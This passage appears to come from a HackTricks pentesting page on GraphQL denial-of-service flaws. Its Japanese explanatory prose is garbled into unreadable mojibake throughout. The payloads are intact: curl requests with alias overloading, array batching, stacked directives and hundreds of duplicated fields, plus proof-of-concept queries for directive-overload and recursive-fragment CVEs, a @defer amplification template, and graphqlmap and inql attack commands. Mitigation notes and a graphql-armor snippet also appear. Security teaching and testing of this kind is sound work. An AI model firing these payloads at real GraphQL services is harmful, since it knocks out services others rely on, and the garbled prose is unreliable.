-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
ãããç·©åããããã«ãalias count limitsãquery complexity analysisããŸã㯠rate limiting ãå®è£ ããŠãªãœãŒã¹ã®æ¿«çšãé²ãã§ãã ããã
Array-based Query Batching
Array-based Query Batching ã¯ãGraphQL API ãåäžã®ãªã¯ãšã¹ãã§è€æ°ã®ã¯ãšãªããããåŠçã§ããè匱æ§ã§ãæ»æè ã倧éã®ã¯ãšãªãåæã«éä¿¡ã§ããããã«ãªããŸããããã«ããããããããããã¹ãŠã®ã¯ãšãªã䞊åã«å®è¡ããŠããã¯ãšã³ããå§åããé床ã®ãªãœãŒã¹ïŒCPUãã¡ã¢ãªãããŒã¿ããŒã¹æ¥ç¶ïŒãæ¶è²»ããDenial of Service (DoS) ãåŒãèµ·ããå¯èœæ§ããããŸãããããå ã®ã¯ãšãªæ°ã«å¶éããªããã°ãæ»æè ã¯ãããæªçšããŠãµãŒãã¹ã®å¯çšæ§ãäœäžãããããšãã§ããŸãã
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
ãã®äŸã§ã¯ã10åã®ç°ãªãã¯ãšãªã1ã€ã®ãªã¯ãšã¹ãã«ãããåããããµãŒããŒã¯ããããåæã«å®è¡ããããšã匷ããããŸããããããµã€ãºã倧ããããããèšç®è² è·ã®é«ãã¯ãšãªã§æªçšããå ŽåããµãŒããŒã«éè² è·ãäžããå¯èœæ§ããããŸãã
Directive Overloading Vulnerability
Directive Overloading ã¯ãGraphQLãµãŒããŒãéå°ãã€éè€ãããã£ã¬ã¯ãã£ããå«ãã¯ãšãªãèš±å¯ããå Žåã«çºçããŸããããã«ãããµãŒããŒã®ããŒãµãŒãå®è¡ãšã³ãžã³ãå§åãããããšããããç¹ã«ãµãŒããŒãåããã£ã¬ã¯ãã£ãã®ããžãã¯ãç¹°ãè¿ãåŠçããå Žåã¯é¡èã§ããé©åãªæ€èšŒãå¶éããªããšãæ»æè ã¯å€æ°ã®éè€ãã£ã¬ã¯ãã£ããå«ãã¯ãšãªãäœæããŠé«ãèšç®è² è·ãã¡ã¢ãªäœ¿çšéãåŒãèµ·ãããDenial of Service (DoS) ãæãå¯èœæ§ããããŸãã
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
åã®äŸã§ã¯ @aa ã¯å®£èšãããŠããªãå¯èœæ§ãããã«ã¹ã¿ã ãã£ã¬ã¯ãã£ãã§ããããšã«æ³šæããŠãã ãããäžè¬çã«ååšãããã£ã¬ã¯ãã£ãã®äŸã¯ @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
宣èšãããŠãããã¹ãŠã®ãã£ã¬ã¯ãã£ããæ€åºããã«ã¯ãã€ã³ããã¹ãã¯ã·ã§ã³ã¯ãšãªãéä¿¡ããããšãã§ããŸã:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
ãã㊠ããã€ãã®ã«ã¹ã¿ã ã䜿ããŸãã
Field Duplication Vulnerability
Field Duplication ã¯ãGraphQL ãµãŒããåããã£ãŒã«ããé床ã«ç¹°ãè¿ããã¯ãšãªãèš±å¯ããè匱æ§ã§ããããã«ãããµãŒãã¯åã€ã³ã¹ã¿ã³ã¹ããšã«ãã£ãŒã«ããåé·ã«è§£æ±ºããããšã匷ããããCPUãã¡ã¢ãªãããŒã¿ããŒã¹åŒã³åºããªã©ã®å€å€§ãªãªãœãŒã¹ãæ¶è²»ããŸããæ»æè ã¯äœçŸãäœåãã®ç¹°ãè¿ããã£ãŒã«ããå«ãã¯ãšãªãäœæããŠé«è² è·ãåŒãèµ·ãããæçµçã« Denial of Service (DoS) ãåŒãèµ·ããå¯èœæ§ããããŸãã
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
æè¿ã®èåŒ±æ§ (2023-2025)
GraphQLãšã³ã·ã¹ãã ã¯éåžžã«éãé²åããŠããŸããéå»2幎éã§äž»èŠãªãµãŒããŒã©ã€ãã©ãªã«å¯ŸããŠããã€ãã®é倧ãªåé¡ãå ¬éãããŸãããGraphQLãšã³ããã€ã³ããèŠã€ãããããšã³ãžã³ã®ãã£ã³ã¬ãŒããªã³ãïŒgraphw00fãåç §ïŒãååŸãã以äžã®è匱æ§ã«å¯ŸããŠå®è¡äžã®ããŒãžã§ã³ã確èªãã䟡å€ããããŸãã
CVE-2024-47614 â async-graphql ã® directive-overload DoS (Rust)
- 圱é¿ãåãã: async-graphql < 7.0.10 (Rust)
- æ ¹æ¬åå : éè€ãããã£ã¬ã¯ãã£ã ã«å¶éããªãïŒäŸ: æ°åã®
@includeïŒãããããããææ°é¢æ°çãªæ°ã®å®è¡ããŒãã«å±éãããã - 圱é¿: åäžã®HTTPãªã¯ãšã¹ãã§CPU/RAMãæ¯æžããããµãŒãã¹ãã¯ã©ãã·ã¥ãããå¯èœæ§ãããã
- ä¿®æ£/ç·©åç: 7.0.10以äžã«ã¢ããã°ã¬ãŒãããã
SchemaBuilder.limit_directives()ãåŒã³åºãããããã¯"@include.*@include.*@include"ã®ãããªWAFã«ãŒã«ã§ãªã¯ãšã¹ãããã£ã«ã¿ãªã³ã°ããã
# PoC â repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 â graphql-java ENF 深床/è€é床 bypass
- 圱é¿ãåãã: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- æ ¹æ¬åå : ExecutableNormalizedFields ã
MaxQueryDepth/MaxQueryComplexityã® instrumentation ã«èæ ®ãããŠããŸããã§ãããååž°çãªãã©ã°ã¡ã³ãã¯ãã®ãããã¹ãŠã®å¶éãåé¿ããŸããã - 圱é¿: graphql-java ãçµã¿èŸŒãã Java ã¹ã¿ãã¯ïŒSpring BootãNetflix DGSãAtlassian 補åâŠïŒã«å¯ŸããèªèšŒãªãã® DoSã
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 â WPGraphQL SSRF to RCE chain
- 圱é¿ãåããããŒãžã§ã³: WPGraphQL †1.14.5 (WordPress plugin).
- æ ¹æ¬åå :
createMediaItemmutation ãæ»æè å¶åŸ¡ã®filePathURLs ãåãå ¥ããå éšãããã¯ãŒã¯ãžã®ã¢ã¯ã»ã¹ããã¡ã€ã«æžã蟌ã¿ãå¯èœã«ããŠããã - 圱é¿: èªèšŒæžã¿ã® Editors/Authors ãã¡ã¿ããŒã¿ãšã³ããã€ã³ãã«å°éããããPHP ãã¡ã€ã«ãæžã蟌ãã§ãªã¢ãŒãã³ãŒãå®è¡ãè¡ããã
ã€ã³ã¯ãªã¡ã³ã¿ã«ããªããªãŒã®æªçš: @defer / @stream
2023幎以éãäž»èŠãªå€ãã®ãµãŒãïŒApollo 4, GraphQL-Java 20+, HotChocolate 13ïŒã¯ãGraphQL-over-HTTP WG ã«ãã£ãŠå®çŸ©ããã incremental delivery ãã£ã¬ã¯ãã£ããå®è£ ããŸãããå deferred patch 㯠separate chunk ãšããŠåå¥ã«éããããããåèšã¬ã¹ãã³ã¹ãµã€ãºã¯ N + 1 (envelope + patches) ã«ãªããŸãããããã£ãŠãæ°åã®å°ã㪠deferred ãã£ãŒã«ããå«ãã¯ãšãªã¯ãæ»æè ã«ãšã£ãŠã¯ãªã¯ãšã¹ã1åã§å€§ããªã¬ã¹ãã³ã¹ãçæã§ãã â å€å žç㪠amplification DoS ã§ãããæåã®ãã£ã³ã¯ã®ã¿ãæ€æ»ããããã£ãµã€ãºã® WAF ã«ãŒã«ãåé¿ããææ®µã«ãªããŸããWG ã®ã¡ã³ããŒèªèº«ããã®ãªã¹ã¯ãææããŠããŸãã
Example payload generating 2 000 patches:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
察ç: æ¬çªç°å¢ã§ã¯ @defer/@stream ãç¡å¹ã«ããããmax_patchesãçŽ¯ç© max_bytes ããã³å®è¡æéã匷å¶ããŠãã ãããgraphql-armor ã®ãããªã©ã€ãã©ãªïŒäžèšåç
§ïŒã¯æ¢ã«åŠ¥åœãªããã©ã«ãã匷å¶ããŸãã
é²åŸ¡ããã«ãŠã§ã¢ (2024+)
| ãããžã§ã¯ã | 説æ |
|---|---|
| graphql-armor | Node/TypeScript ããªããŒã·ã§ã³ããã«ãŠã§ã¢ã§ãEscape Tech ãå ¬éãã¯ãšãªã®æ·±ãããšã€ãªã¢ã¹/ãã£ãŒã«ã/ãã£ã¬ã¯ãã£ãã®æ°ãããŒã¯ã³ãã³ã¹ãã«å¯Ÿãããã©ã°ã¢ã³ããã¬ã€ã®å¶éãå®è£ ïŒApollo ServerãGraphQL Yoga/EnvelopãHelix ãªã©ãšäºææ§ããã |
ã¯ã€ãã¯ã¹ã¿ãŒã:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor ã¯éåºŠã«æ·±ããè€éãŸãã¯ãã£ã¬ã¯ãã£ããå€ãã¯ãšãªããããã¯ããäžèšã®CVEããä¿è·ããŸãã
ããŒã«
è匱æ§ã¹ãã£ããŒ
- https://github.com/dolevf/graphql-cop: graphql ãšã³ããã€ã³ãã®äžè¬çãªãã¹ã³ã³ãã£ã®ã¥ã¬ãŒã·ã§ã³ããã¹ããã
- https://github.com/assetnote/batchql: ããã GraphQL ã¯ãšãªãšãã¥ãŒããŒã·ã§ã³ã®å®è¡ã«éç¹ã眮ãã GraphQL ã»ãã¥ãªãã£ç£æ»ã¹ã¯ãªããã
- https://github.com/dolevf/graphw00f: 䜿çšãããŠãã graphql ã®ãã£ã³ã¬ãŒããªã³ããååŸãã
- https://github.com/gsmith257-cyber/GraphCrawler: ã¹ããŒããååŸããŠæ©å¯ããŒã¿ãæ€çŽ¢ããèªå¯ããã¹ãããã¹ããŒãããã«ãŒããã©ãŒã¹ããç¹å®ã®åãžã®ãã¹ãèŠã€ããããã«äœ¿ããããŒã«ãããã
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: ã¹ã¿ã³ãã¢ãã³ãŸã㯠Burp extension ãšããŠäœ¿çšã§ããã
- https://github.com/swisskyrepo/GraphQLmap: CLI ã¯ã©ã€ã¢ã³ããšããŠäœ¿çšã§ããæ»æã®èªååãå¯èœ:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: GraphQL ã¹ããŒãå ã§ç¹å®ã®åã«å°éããããã®ç°ãªãæ¹æ³ãåæããããŒã«ã
- https://github.com/doyensec/GQLSpection: InQL ã® Standalone ããã³ CLI ã¢ãŒãã®åŸç¶
- https://github.com/doyensec/inql: Burp extension ãŸã㯠python ã¹ã¯ãªããã«ããé«åºŠãª GraphQL ãã¹ãçšãScanner 㯠InQL v5.0 ã®ã³ã¢ã§ãGraphQL ãšã³ããã€ã³ããããŒã«ã«ã® introspection ã¹ããŒããã¡ã€ã«ãåæã§ããŸãããã¹ãŠã®å¯èœãªã¯ãšãªãšãã¥ãŒããŒã·ã§ã³ãèªåçæããåæã®ããã«æ§é åããããã¥ãŒã«æŽçããŸããAttacker ã³ã³ããŒãã³ãã¯ããã GraphQL æ»æãå®è¡ã§ããå®è£
ã®çãã¬ãŒãå¶éãåé¿ããã®ã«åœ¹ç«ã¡ãŸã:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: introspection ãç¡å¹ã§ããmutation ãšãã©ã¡ãŒã¿åã瀺åããäžéšã® Graphql ããŒã¿ããŒã¹ã®å©ããåããŠã¹ããŒããååŸããããšããã
äžè¬çãªè匱æ§ãæªçšããã¹ã¯ãªãã
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: è匱㪠graphql ç°å¢ã«å¯Ÿãã DoS è匱æ§ãæªçšããããã®ã¹ã¯ãªããéã
ã¯ã©ã€ã¢ã³ã
- https://github.com/graphql/graphiql: GUI ã¯ã©ã€ã¢ã³ã
- https://altair.sirmuel.design/: GUI ã¯ã©ã€ã¢ã³ã
èªåãã¹ã
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL ã解説ãããããª: https://www.youtube.com/watch?v=JJmufWfVvyU
åè
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


